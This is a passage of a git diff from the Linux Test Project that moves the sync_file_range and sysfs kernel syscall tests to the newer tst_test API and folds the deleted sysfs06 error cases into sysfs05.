+		tst_brk(TCONF, "sync_file_range() not supported");
 
 	sprintf(filename, "tmpfile_%d", getpid());
-	if ((filed = open(filename, O_RDWR | O_CREAT, 0700)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT,0700) failed", filename);
-	}
 
-	sfd = open(spl_file, O_RDWR | O_CREAT, 0700);
+	fd = SAFE_OPEN(filename, O_RDWR | O_CREAT, 0700);
+	sfd = SAFE_OPEN(spl_file, O_RDWR | O_CREAT, 0700);
 }
 
-/******************************************************************************/
-/*									    */
-/* Function:    main							  */
-/*									    */
-/* Description: Entry point to this test-case. It parses all the command line */
-/*	      inputs, calls the global setup and executes the test. It logs */
-/*	      the test status and results appropriately using the LTP API's */
-/*	      On successful completion or premature failure, cleanup() func */
-/*	      is called and test exits with an appropriate return code.     */
-/*									    */
-/* Input:       Describe input arguments to this test-case		    */
-/*	       -l - Number of iteration				     */
-/*	       -v - Prints verbose output				   */
-/*	       -V - Prints the version number			       */
-/*									    */
-/* Exit:       On failure - Exits by calling cleanup().		       */
-/*	     On success - exits with 0 exit value.			  */
-/*									    */
-/******************************************************************************/
-int main(int ac, char **av)
+static void run_test(unsigned int nr)
 {
+	struct test_case *tc = &tcases[nr];
 
-	int test_index = 0;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	if (!check_sync_file_range())
-		tst_brkm(TCONF, NULL, "sync_file_range() not supported");
-
-	setup();
-
-	for (test_index = 0; test_index < TST_TOTAL; test_index++) {
-		TEST(sync_file_range
-		     (*(test_data[test_index].fd),
-		      test_data[test_index].offset,
-		      test_data[test_index].nbytes,
-		      test_data[test_index].flags));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL,
-				 "call succeeded unexpectedly (%ld != -1)",
-				 TEST_RETURN);
-			continue;
-		}
-
-		if (TEST_ERRNO == test_data[test_index].error) {
-			tst_resm(TPASS | TTERRNO, "got expected error");
-		} else {
-			tst_resm(TFAIL | TTERRNO, "got unexpected error; "
-				 "expected %d", test_data[test_index].error);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_FAIL(tst_syscall(__NR_sync_file_range, *(tc->fd),
+		tc->offset, tc->nbytes, tc->flags), tc->error,
+		"sync_file_range(%i, %li, %li, %i)",
+		*(tc->fd), (long)tc->offset, (long)tc->nbytes, tc->flags);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run_test,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c b/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c
index f969308..5da751c 100644
--- a/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c
+++ b/testcases/kernel/syscalls/sync_file_range/sync_file_range02.c
@@ -4,12 +4,12 @@
  * Author: Sumit Garg <sumit.garg@linaro.org>
  */
 
-/*
- * sync_file_range02
+/*\
+ * [Description]
  *
- * It basically tests sync_file_range() to sync test file range having large
- * dirty file pages to block device. Also, it tests all supported filesystems
- * on a test block device.
+ * Tests if sync_file_range() does sync a test file range with a many dirty pages
+ * to a block device. Also, it tests all supported filesystems on a test block
+ * device.
  */
 
 #define _GNU_SOURCE
diff --git a/testcases/kernel/syscalls/sysfs/.gitignore b/testcases/kernel/syscalls/sysfs/.gitignore
index d38a433..acca411 100644
--- a/testcases/kernel/syscalls/sysfs/.gitignore
+++ b/testcases/kernel/syscalls/sysfs/.gitignore
@@ -3,4 +3,3 @@
 /sysfs03
 /sysfs04
 /sysfs05
-/sysfs06
diff --git a/testcases/kernel/syscalls/sysfs/sysfs01.c b/testcases/kernel/syscalls/sysfs/sysfs01.c
index 85052dc..3a91fcb 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs01.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs01.c
@@ -1,129 +1,27 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
-/**************************************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sysfs01
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for sysfs(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Aniruddha Marathe <aniruddha.marathe@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *    This is a Phase I test for the sysfs(2) system call.
- *    This test is carried out for option 1 for sysfs(2).
- *    It is intended to provide a limited exposure of the system call.
- *
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- * sysfs01 [-c n]  [-e] [-i n] [-I x] [-p x] [-t] [-h] [-f] [-p]
- *  where:
- *	-c n : run n copies simultaneously.
- *	-e   : Turn on errno logging.
- *	-i n : Execute test n times.
- *	-I x : Execute test for x seconds.
- *	-p   : Pause for SIGUSR1 before starting
- *	-P x : Pause for x seconds between iterations.
- *	-t   : Turn on syscall timing.
- *
- *RESTRICTIONS:
- *There is no glibc or libc support
- *Kernel should be compiled with proc filesystem support
- ******************************************************************************/
+ * This test is run for option 1 for sysfs(2).
+ * Translate the filesystem identifier string fsname into a filesystem type index.
+ */
 
 #include <errno.h>
 #include <unistd.h>
 #include <sys/syscall.h>
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-static void setup();
-static void cleanup();
-
-char *TCID = "sysfs01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_sysfs01(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* option 1, buf holds fs name */
-		TEST(ltp_syscall(__NR_sysfs, 1, "proc"));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "sysfs(2) Failed for "
-				 "option 1 and set errno to %d", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "sysfs(2) Passed for " "option 1");
-		}
-	}			/*End of TEST_LOOPING */
-
-	/*Clean up and exit */
-	cleanup();
-	tst_exit();
-
+	/* option 1, buf holds fs name */
+	TST_EXP_POSITIVE(tst_syscall(__NR_sysfs, 1, "proc"), "sysfs(1, 'proc')");
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/*
- * cleanup() - Performs one time cleanup for this test at
- * completion or premature exit
- */
-
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verify_sysfs01,
+};
diff --git a/testcases/kernel/syscalls/sysfs/sysfs02.c b/testcases/kernel/syscalls/sysfs/sysfs02.c
index e9065dd..b6d8103 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs02.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs02.c
@@ -1,127 +1,30 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
-/**************************************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sysfs02
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for sysfs(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Aniruddha Marathe <aniruddha.marathe@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *    This is a Phase I test for the sysfs(2) system call.
- *    It is intended to provide a limited exposure of the system call.
- *    This test is run for option 2 for sysfs(2)
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- * sysfs02  [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-t] [-p] [-f]
- * where:
- *	-c n : run n copies simultaneously
- *	-e   : Turn on errno logging.
- *	-i n : Execute test n times.
- *	-I x : Execute test for x seconds.
- *	-p   : Pause for SIGUSR1 before starting
- *	-P x : Pause for x seconds between iterations.
- *	-t   : Turn on syscall timing.
- *
- *RESTRICTIONS:
- *There is no glibc or libc support
- *****************************************************************************/
+ * This test is run for option 2 for sysfs(2).
+ * Translate the filesystem type index fs_index into a null-terminated filesystem
+ * identifier string. This string will be written to the buffer pointed to by buf.
+ * Make sure that buf has enough space to accept the string.
+ */
 
 #include <errno.h>
 #include <unistd.h>
 #include <sys/syscall.h>
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-static void setup();
-static void cleanup();
-
-char *TCID = "sysfs02";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_sysfs02(void)
 {
-	int lc;
-	char buf[40];		/* 40 bytes suffice to store fs name */
+	char buf[40];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*option 2 buf holds fs name */
-		TEST(ltp_syscall(__NR_sysfs, 2, 0, buf));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "sysfs(2) Failed for "
-				 "option 2 and returned"
-				 " %d as error number", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "sysfs(2) Passed for option 2");
-		}
-	}			/*End of TEST_LOOPING */
-
-	/*Clean up and exit */
-	cleanup();
-
-	tst_exit();
+	TST_EXP_PASS(tst_syscall(__NR_sysfs, 2, 0, buf), "sysfs(2,0,buf)");
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - Performs one time cleanup for this test at
- * completion or premature exit
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verify_sysfs02,
+};
diff --git a/testcases/kernel/syscalls/sysfs/sysfs03.c b/testcases/kernel/syscalls/sysfs/sysfs03.c
index 98bd5c6..b679d78 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs03.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs03.c
@@ -1,125 +1,26 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
-/**************************************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sysfs03
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for sysfs(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Aniruddha Marathe <aniruddha.marathe@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *    This is a Phase I test for the sysfs(2) system call.
- *    It is intended to provide a limited exposure of the system call.
- *    This testcase tests sysfs(2) for option 3
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- * sysfs03 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-p] [-f]
- * where:
- *	-c n : Run n copies simultaneously
- *	-e   : Turn on errno logging.
- *	-i n : Execute test n times.
- *	-I x : Execute test for x seconds.
- *	-p   : Pause for SIGUSR1 before starting
- *	-P x : Pause for x seconds between iterations.
- *	-t   : Turn on syscall timing.
- *
- *RESTRICTIONS:
- *There is no glibc or libc support
- *****************************************************************************/
+ * This test is run for option 3 for sysfs(2).
+ * Return the total number of filesystem types currently present in the kernel.
+ */
 
 #include <errno.h>
 #include <unistd.h>
 #include <sys/syscall.h>
-#include "test.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-static void setup();
-static void cleanup();
-
-char *TCID = "sysfs03";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_sysfs03(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(ltp_syscall(__NR_sysfs, 3));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "sysfs(2) Failed for"
-				 " option 3 and returned"
-				 " %d as error number", TEST_ERRNO);
-		} else {
-			tst_resm(TPASS, "sysfs(2) Passed for option 3");
-		}
-	}			/*End of TEST_LOOPING */
-
-	/*Clean up and exit */
-	cleanup();
-	tst_exit();
-
+	TST_EXP_POSITIVE(tst_syscall(__NR_sysfs, 3), "sysfs(3)");
 }
 
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - Performs one time cleanup for this test at
- * completion or premature exit
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verify_sysfs03,
+};
diff --git a/testcases/kernel/syscalls/sysfs/sysfs04.c b/testcases/kernel/syscalls/sysfs/sysfs04.c
index 6356a89..ffda51b 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs04.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs04.c
@@ -1,129 +1,28 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
-/**************************************************************************
+
+/*\
+ * [Description]
  *
- *    TEST IDENTIFIER	: sysfs04
- *
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Test checking for basic error conditions
- *				 for sysfs(2)
- *
- *    TEST CASE TOTAL	: 1
- *
- *    AUTHOR		: Aniruddha Marathe <aniruddha.marathe@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This test case checks whether sysfs(2) system call  returns
- *	appropriate error number for invalid
- *	option.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	  Loop if the proper options are given.
- *	  Execute system call with invaid  option parameter
- *
- *	  Check return code, if system call fails with errno == expected errno
- *		Issue syscall passed with expected errno
- *	  Otherwise,
- *	  Issue syscall failed to produce expected errno
- *
- *	Cleanup:
- *	  Do cleanup for the test.
- *
- * USAGE:  <for command-line>
- * sysfs04  [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- * where:
- *	-c n : run n copies simultaneously
- *	-e   : Turn on errno logging.
- *	-i n : Execute test n times.
- *	-I x : Execute test for x seconds.
- *	-p   : Pause for SIGUSR1 before starting
- *	-P x : Pause for x seconds between iterations.
- *	-t   : Turn on syscall timing.
- *
- *RESTRICTIONS:
- *No libc or glibc support
- *****************************************************************************/
+ * This test case checks whether sysfs(2) system call returns
+ * appropriate error number for invalid option.
+ */
 
 #include <errno.h>
-#include  <sys/syscall.h>
-#include "test.h"
+#include <sys/syscall.h>
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
 #define INVALID_OPTION 100
-static void setup();
-static void cleanup();
 
-char *TCID = "sysfs04";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_sysfs04(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-		TEST(ltp_syscall(__NR_sysfs, INVALID_OPTION));
-
-		/* check return code */
-		if ((TEST_RETURN == -1) && (TEST_ERRNO == EINVAL)) {
-			tst_resm(TPASS, "sysfs(2) expected failure;"
-				 " Got errno - EINVAL :" " Invalid option");
-		} else {
-			tst_resm(TFAIL, "sysfs(2) failed to produce"
-				 " expected error; %d, errno"
-				 " : EINVAL and got %d", EINVAL, TEST_ERRNO);
-		}
-	}
-
-	/*Clean up and exit */
-	cleanup();
-	tst_exit();
-
-}				/*End of main */
-
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	TST_EXP_FAIL(tst_syscall(__NR_sysfs, INVALID_OPTION),
+				EINVAL, "sysfs(INVALID_OPTION)");
 }
 
-/*
-* cleanup() - Performs one time cleanup for this test at
-* completion or premature exit
-*/
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = verify_sysfs04,
+};
diff --git a/testcases/kernel/syscalls/sysfs/sysfs05.c b/testcases/kernel/syscalls/sysfs/sysfs05.c
index 8f8bb35..bfcead7 100644
--- a/testcases/kernel/syscalls/sysfs/sysfs05.c
+++ b/testcases/kernel/syscalls/sysfs/sysfs05.c
@@ -1,153 +1,61 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
-/**************************************************************************
- *
- *    TEST IDENTIFIER	: sysfs(2)
- *
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Test checking for basic error conditions
- *				 for sysfs(2)
- *
- *    TEST CASE TOTAL	: 3
- *
- *    AUTHOR		: Aniruddha Marathe <aniruddha.marathe@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This test case checks whether sysfs(2) system call returns
- *	appropriate error number for invalid
- *	option and for invalid filesystem name.
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	  Loop if the proper options are given.
- *	  Execute system call with invaid option parameter and for
- *	  invalid filesystem name
- *	  Check return code, if system call fails with errno == expected errno
- *		Issue syscall passed with expected errno
- *	  Otherwise,
- *	  Issue syscall failed to produce expected errno
- *
- *	Cleanup:
- *	  Do cleanup for the test.
- *
- * USAGE:  <for command-line>
- *  sysfs05 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-f] [-h] [-p]
- *  where:
- *	-c n : Run n copies simultaneously
- *	-e   : Turn on errno logging.
- *	-i n : Execute test n times.
- *	-I x : Execute test for x seconds.
- *	-p   : Pause for SIGUSR1 before starting
- *	-P x : Pause for x seconds between iterations.
- *	-t   : Turn on syscall timing.
- *
- *RESTRICTIONS:
- *There is no libc or glibc support
- *Kernel must be compiled with ext2 support
- *****************************************************************************/
 
-#include <errno.h>
-#include <sys/syscall.h>
-#include "test.h"
+/*\
+ * [Description]
+ *
+ * This test case checks whether sysfs(2) system call returns appropriate
+ * error number for invalid option and for invalid filesystem name and fs index out of bounds.
+ */
+
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-static void setup();
-static void cleanup();
-
-char *TCID = "sysfs05";
-static int option[3] = { 1, 4, 1 };	/* valid and invalid option */
-static char *fsname[] = { "ext0", " ext2", (char *)-1 };
-
-static struct test_case_t {
-	char *err_desc;		/*error description */
-	int exp_errno;		/* expected error number */
-	char *exp_errval;	/*Expected errorvalue string */
-} testcase[] = {
-	{
-	"Invalid option", EINVAL, "EINVAL"}, {
-	"Invalid filesystem name", EINVAL, "EINVAL "}, {
-	"Address is out of your address space", EFAULT, "EFAULT "}
+static struct test_case {
+	int option;
+	char *fsname;
+	int fsindex;
+	char *err_desc;
+	int exp_errno;
+} tcases[] = {
+	{1, "ext0", 0, "Invalid filesystem name", EINVAL},
+	{4, NULL, 0, "Invalid option", EINVAL},
+	{1, NULL, 0, "Address is out of your address space", EFAULT},
+	{2, NULL, 1000, "fs_index is out of bounds", EINVAL}
 };
 
-int TST_TOTAL = ARRAY_SIZE(testcase);
-
-int main(int ac, char **av)
+static void verify_sysfs05(unsigned int nr)
 {
-	int lc, i;
+	struct test_case *tc = &tcases[nr];
+	char buf[1024];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			tst_count = 0;
-			TEST(ltp_syscall(__NR_sysfs, option[i], fsname[i]));
-
-			/* check return code */
-			if ((TEST_RETURN == -1)
-			    && (TEST_ERRNO == testcase[i].exp_errno)) {
-				tst_resm(TPASS,
-					 "sysfs(2) expected failure;"
-					 " Got errno - %s : %s",
-					 testcase[i].exp_errval,
-					 testcase[i].err_desc);
-			} else {
-				tst_resm(TFAIL, "sysfs(2) failed to produce"
-					 " expected error; %d, errno"
-					 ": %s and got %d",
-					 testcase[i].exp_errno,
-					 testcase[i].exp_errval, TEST_ERRNO);
-			}
-
-		}		/*End of TEST LOOPS */
+	if (tc->option == 1) {
+		TST_EXP_FAIL(tst_syscall(__NR_sysfs, tc->option, tc->fsname),
+					tc->exp_errno, "%s", tc->err_desc);
+	} else {
+		TST_EXP_FAIL(tst_syscall(__NR_sysfs, tc->option, tc->fsindex, buf),
+					tc->exp_errno, "%s", tc->err_desc);
 	}
-
-	/*Clean up and exit */
-	cleanup();
-
-	tst_exit();
-}				/*End of main */
-
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
 }
 
-/*
-* cleanup() - Performs one time cleanup for this test at
-* completion or premature exit
-*/
-void cleanup(void)
+static void setup(void)
 {
+	unsigned int i;
+	char *bad_addr;
 
+	bad_addr = tst_get_bad_addr(NULL);
+
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (tcases[i].exp_errno == EFAULT)
+			tcases[i].fsname = bad_addr;
+	}
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_sysfs05,
+};
+
diff --git a/testcases/kernel/syscalls/sysfs/sysfs06.c b/testcases/kernel/syscalls/sysfs/sysfs06.c
deleted file mode 100644
index d9a8cd5..0000000
--- a/testcases/kernel/syscalls/sysfs/sysfs06.c
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/**************************************************************************
- *
- *    TEST IDENTIFIER	: sysfs(2)
- *
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Test checking for basic error conditions
- *				 for sysfs(2)
- *
- *    TEST CASE TOTAL	: 3
- *
- *    AUTHOR		: Aniruddha Marathe <aniruddha.marathe@wipro.com>
- *
- *    SIGNALS
- *	Uses SIGUSR1 to pause before test if option set.
- *	(See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *	This test case checks whether sysfs(2) system call returns
- *	appropriate error number for invalid
- *	option and for invalid filesystem index and when
- *	buffer is out of address space
- *
- *	Setup:
- *	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	  Loop if the proper options are given.
- *	  Execute system call with invaid option parameter and for
- *	  invalid filesystem index
- *	  Check return code, if system call fails with errno == expected errno
- *		Issue syscall passed with expected errno
- *	  Otherwise,
- *	  Issue syscall failed to produce expected errno
- *
- *	Cleanup:
- *	  Do cleanup for the test.
- *
- * USAGE:  <for command-line>
- *  sysfs06 [-c n] [-e] [-i n] [-I x] [-P x] [-t] [-h] [-f] [-p]
- *  where:
- *	-c n : Run n copies simultaneously
- *	-e   : Turn on errno logging.
- *	-i n : Execute test n times.
- *	-I x : Execute test for x seconds.
- *	-p   : Pause for SIGUSR1 before starting
- *	-P x : Pause for x seconds between iterations.
- *	-t   : Turn on syscall timing.
- *
- *RESTRICTIONS:
- *There is no libc or glibc support
- *****************************************************************************/
-
-#include <errno.h>
-#include <sys/syscall.h>
-#include <sys/mman.h>
-#include "test.h"
-#include "lapi/syscalls.h"
-
-static void setup();
-static void cleanup();
-
-char *TCID = "sysfs06";
-static int option[3] = { 2, 4, 2 };	/* valid and invalid option */
-static int fsindex[3] = { 10000, 0, 1 };	/*invalid and valid fsindex */
-
-static struct test_case_t {
-	char *err_desc;		/*error description */
-	int exp_errno;		/* expected error number */
-	char *exp_errval;	/*Expected errorvalue string */
-} testcase[] = {
-	{
-	"Invalid option", EINVAL, "EINVAL"}, {
-	"fs_index is out of bounds", EINVAL, "EINVAL"}, {
-	"buf is outside your accessible address space", EFAULT, "EFAULT"}
-};
-
-int TST_TOTAL = ARRAY_SIZE(testcase);
-
-char *bad_addr = 0;
-
-int main(int ac, char **av)
-{
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			tst_count = 0;
-			TEST(ltp_syscall
-			     (__NR_sysfs, option[i], fsindex[i], bad_addr));
-
-			/* check return code */
-			if ((TEST_RETURN == -1)
-			    && (TEST_ERRNO == testcase[i].exp_errno)) {
-				tst_resm(TPASS,
-					 "sysfs(2) expected failure;"
-					 " Got errno - %s : %s",
-					 testcase[i].exp_errval,
-					 testcase[i].err_desc);
-			} else {
-				tst_resm(TFAIL, "sysfs(2) failed to produce"
-					 " expected error; %d, errno"
-					 ": %s and got %d",
-					 testcase[i].exp_errno,
-					 testcase[i].exp_errval, TEST_ERRNO);
-			}
-		}		/*End of TEST LOOPS */
-	}
-
-	/*Clean up and exit */
-	cleanup();
-
-	tst_exit();
-}				/*End of main */
-
-/* setup() - performs all ONE TIME setup for this test */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	bad_addr =
-	    mmap(0, 1, PROT_NONE, MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0,
-		 0);
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK, cleanup, "mmap failed");
-}
-
-/*
-* cleanup() - Performs one time cleanup for this test at
-* completion or premature exit
-*/
-void cleanup(void)
-{
-
-}
